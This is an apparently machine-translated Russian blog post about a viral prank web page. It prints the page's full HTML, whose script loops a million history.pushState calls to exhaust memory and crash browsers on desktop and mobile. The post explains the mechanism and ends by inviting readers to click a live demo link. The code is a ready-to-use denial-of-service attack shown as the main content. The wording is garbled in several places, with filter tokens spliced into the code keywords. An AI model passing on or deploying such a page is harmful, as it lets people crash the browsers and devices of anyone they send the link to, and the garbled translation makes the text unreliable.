Причина инцидента такова: иностранный друг из Cyber Security опубликовал в Твиттере такой твит:
Этот человек утверждает, что если использовать вышеуказанный 12-строчный код Javascrip{filter}t, можно вывести Firefox, Chrome, Safari браузеры, а также вызвать перезагрузку iPhone и сбой на Android!
Полный HTML-код выглядит следующим образом:
- <html>
- <head>
- <meta charset="utf-8">
- <title>谁点谁怀孕</title>
- </head>
- <body>
- 恭喜你,你已经怀孕了!
- <scrip{过滤}t>
- var total="";
- for (var i=0;i<1000000;i++)
- {
- total= total+i.toString();
- history.pushState(0,0,total);
- }
- </scrip{过滤}t>
- </body>
- </html>
Копирование кода
Если вы пользователь ПК, после перехода по ссылке память процессора компьютера скорее всего взлетит до тех пор, пока браузер не вылетит и не зависнет...
Если вы пользователь мобильных устройств (Android, iPhone), ваш браузер вылетит после перехода по ссылке! Переход по ссылке в Weibo и WeChat также вылетит.
Почему это происходит? В этом отношении я нашёл ответ от бога по имени «Xiaomi» на Чжиху:
history.pushstate() — это API, введённый HTML5, pushState добавляет заданный URL в историю браузера и хранит текущую точку истории. Когда i<100000, итоговая сумма будет записываться в историю браузера циклически, и если повторяться слишком часто, браузер не выдержит этого и естественным образом вылетит.
В общем, я даже не могу придумать «привет, мир», так что совсем не понимаю... Короче говоря, это как раз то, чтобы взорвать небо!
Если хотите попробовать, пожалуйста, нажмите здесь: http://www.itsvse.com/demo.html
|